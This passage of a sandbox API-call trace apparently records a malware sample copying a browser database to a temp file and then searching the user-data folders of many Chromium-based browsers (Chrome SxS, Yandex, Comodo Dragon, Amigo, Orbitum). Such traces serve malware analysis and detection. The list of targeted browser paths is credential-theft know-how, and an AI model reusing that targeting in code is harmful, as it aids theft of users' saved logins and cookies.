lpMultiByteStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1313841942994437431934.tmp", lpUsedDefaultChar=0x0) returned 64 [0071.597] VirtualAlloc (lpAddress=0x471d000, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x4) returned 0x471d000 [0071.597] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x471b5e8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 64 [0071.597] VirtualAlloc (lpAddress=0x472b000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x472b000 [0071.598] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x471b5e8, cbMultiByte=-1, lpWideCharStr=0x472b080, cchWideChar=64 | out: lpWideCharStr="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1313841942994437431934.tmp") returned 64 [0071.598] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1313841942994437431934.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1313841942994437431934.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18df48 | out: lpFileInformation=0x18df48*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb62a61d0, ftCreationTime.dwHighDateTime=0x1d54670, ftLastAccessTime.dwLowDateTime=0xb62a61d0, ftLastAccessTime.dwHighDateTime=0x1d54670, ftLastWriteTime.dwLowDateTime=0x8124f5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4800)) returned 1 [0071.598] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1313841942994437431934.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1313841942994437431934.tmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3b8 [0071.599] VirtualAlloc (lpAddress=0x472d000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0x472d000 [0071.599] VirtualAlloc (lpAddress=0x4733000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0x4733000 [0071.600] ReadFile (in: hFile=0x3b8, lpBuffer=0x18e078, nNumberOfBytesToRead=0x64, lpNumberOfBytesRead=0x18e03c, lpOverlapped=0x18e000 | out: lpBuffer=0x18e078*, lpNumberOfBytesRead=0x18e03c*=0x64, lpOverlapped=0x18e000) returned 1 [0071.600] VirtualAlloc (lpAddress=0x4735000, dwSize=0x20000, flAllocationType=0x1000, flProtect=0x4) returned 0x4735000 [0071.603] strncmp (_Str1="simple", _Str2="porter", _MaxCount=0x7) returned 1 [0071.610] LockFileEx (in: hFile=0x3b8, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18d400 | out: lpOverlapped=0x18d400) returned 1 [0071.610] LockFileEx (in: hFile=0x3b8, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18d3f4 | out: lpOverlapped=0x18d3f4) returned 1 [0071.610] UnlockFileEx (in: hFile=0x3b8, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18d404 | out: lpOverlapped=0x18d404) returned 1 [0071.610] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x471b629, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 72 [0071.610] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1313841942994437431934.tmp-journal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1313841942994437431934.tmp-journal"), fInfoLevelId=0x0, lpFileInformation=0x18d400 | out: lpFileInformation=0x18d400*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0071.610] GetLastError () returned 0x2 [0071.610] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1313841942994437431934.tmp-wal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1313841942994437431934.tmp-wal"), fInfoLevelId=0x0, lpFileInformation=0x18d418 | out: lpFileInformation=0x18d418*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0071.610] GetLastError () returned 0x2 [0071.626] ReadFile (in: hFile=0x3b8, lpBuffer=0x477d3e0, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x18d420, lpOverlapped=0x18d3e4 | out: lpBuffer=0x477d3e0*, lpNumberOfBytesRead=0x18d420*=0x800, lpOverlapped=0x18d3e4) returned 1 [0071.631] UnlockFileEx (in: hFile=0x3b8, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18d100 | out: lpOverlapped=0x18d100) returned 1 [0071.631] LockFileEx (in: hFile=0x3b8, dwFlags=0x3, dwReserved=0x0, nNumberOfBytesToLockLow=0x1, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18ddd8 | out: lpOverlapped=0x18ddd8) returned 1 [0071.631] LockFileEx (in: hFile=0x3b8, dwFlags=0x1, dwReserved=0x0, nNumberOfBytesToLockLow=0x1fe, nNumberOfBytesToLockHigh=0x0, lpOverlapped=0x18ddcc | out: lpOverlapped=0x18ddcc) returned 1 [0071.631] UnlockFileEx (in: hFile=0x3b8, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18dddc | out: lpOverlapped=0x18dddc) returned 1 [0071.631] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x471b629, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 72 [0071.631] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1313841942994437431934.tmp-journal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1313841942994437431934.tmp-journal"), fInfoLevelId=0x0, lpFileInformation=0x18ddd8 | out: lpFileInformation=0x18ddd8*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0071.631] GetLastError () returned 0x2 [0071.631] ReadFile (in: hFile=0x3b8, lpBuffer=0x18de5c, nNumberOfBytesToRead=0x10, lpNumberOfBytesRead=0x18de44, lpOverlapped=0x18de08 | out: lpBuffer=0x18de5c*, lpNumberOfBytesRead=0x18de44*=0x10, lpOverlapped=0x18de08) returned 1 [0071.631] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x471b671, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 68 [0071.632] GetFileAttributesExW (in: lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1313841942994437431934.tmp-wal" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1313841942994437431934.tmp-wal"), fInfoLevelId=0x0, lpFileInformation=0x18ddf0 | out: lpFileInformation=0x18ddf0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0071.632] GetLastError () returned 0x2 [0071.632] ReadFile (in: hFile=0x3b8, lpBuffer=0x477cb40, nNumberOfBytesToRead=0x800, lpNumberOfBytesRead=0x18de10, lpOverlapped=0x18ddd4 | out: lpBuffer=0x477cb40*, lpNumberOfBytesRead=0x18de10*=0x800, lpOverlapped=0x18ddd4) returned 1 [0071.632] UnlockFileEx (in: hFile=0x3b8, dwReserved=0x0, nNumberOfBytesToUnlockLow=0x1fe, nNumberOfBytesToUnlockHigh=0x0, lpOverlapped=0x18ddc0 | out: lpOverlapped=0x18ddc0) returned 1 [0071.632] DeleteFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\1313841942994437431934.tmp" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\1313841942994437431934.tmp")) returned 1 [0071.633] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EVWhitelist", cAlternateFileName="EVWHIT~1")) returned 1 [0071.638] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FileTypePolicies", cAlternateFileName="FILETY~1")) returned 1 [0071.639] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x7f8b8920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f8b8920, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f8b8920, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="First Run", cAlternateFileName="FIRSTR~1")) returned 1 [0071.639] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85749110, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c0bcce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c0bf3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1082a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local State", cAlternateFileName="LOCALS~1")) returned 1 [0071.639] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OriginTrials", cAlternateFileName="ORIGIN~1")) returned 1 [0071.639] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PepperFlash", cAlternateFileName="PEPPER~1")) returned 1 [0071.639] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e47510, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e47510, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e47510, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pnacl", cAlternateFileName="")) returned 1 [0071.639] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x97f6e8b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Channel IDs", cAlternateFileName="SAFEBR~3")) returned 1 [0071.647] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x97f94a10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Channel IDs-journal", cAlternateFileName="SAFEBR~4")) returned 1 [0071.648] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8582d950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8582d950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85cca3f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x1c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Cookies", cAlternateFileName="SAFEBR~1")) returned 1 [0071.653] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8582d950, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8582d950, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x85d166b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Safe Browsing Cookies-journal", cAlternateFileName="SAFEBR~2")) returned 1 [0071.654] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SSLErrorAssistant", cAlternateFileName="SSLERR~1")) returned 1 [0071.656] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81e213b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81e213b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81e213b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SwReporter", cAlternateFileName="SWREPO~1")) returned 1 [0071.656] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 1 [0071.656] FindNextFileW (in: hFindFile=0x66e488, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="WIDEVI~1")) returned 0 [0071.656] FindClose (in: hFindFile=0x66e488 | out: hFindFile=0x66e488) returned 1 [0071.656] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Google\\Chrome SxS\\User Data\\", lpDst=0x69fd1c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome SxS\\User Data\\") returned 0x49 [0071.656] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome SxS\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0xffffffff [0071.662] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0 [0071.662] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0071.662] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Xpom\\User Data\\", lpDst=0x69fd1c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Xpom\\User Data\\") returned 0x3c [0071.662] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Xpom\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0xffffffff [0071.662] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0 [0071.662] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0071.662] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Yandex\\YandexBrowser\\User Data\\", lpDst=0x69fd1c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\") returned 0x4c [0071.663] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Yandex\\YandexBrowser\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0xffffffff [0071.663] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0 [0071.663] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0071.663] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Comodo\\Dragon\\User Data\\", lpDst=0x69fd1c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Comodo\\Dragon\\User Data\\") returned 0x45 [0071.663] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Comodo\\Dragon\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0xffffffff [0071.663] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0 [0071.663] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0071.663] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Amigo\\User Data\\", lpDst=0x69fd1c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Amigo\\User Data\\") returned 0x3d [0071.663] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Amigo\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0xffffffff [0071.663] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0 [0071.663] FindClose (in: hFindFile=0xffffffff | out: hFindFile=0xffffffff) returned 0 [0071.663] ExpandEnvironmentStringsW (in: lpSrc="%LOCALAPPDATA%\\Orbitum\\User Data\\", lpDst=0x69fd1c, nSize=0x8000 | out: lpDst="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Orbitum\\User Data\\") returned 0x3f [0071.663] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Orbitum\\User Data\\\\*.*", lpFindFileData=0x18e1fc | out: lpFindFileData=0x18e1fc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WidevineCdm", cAlternateFileName="㭼@ﴜi䃭@\x05")) returned 0xffffffff [0071.663] FindNextFileW (in: hFindFile=0xffffffff, lpFindFileData=0x18e1fc | out: 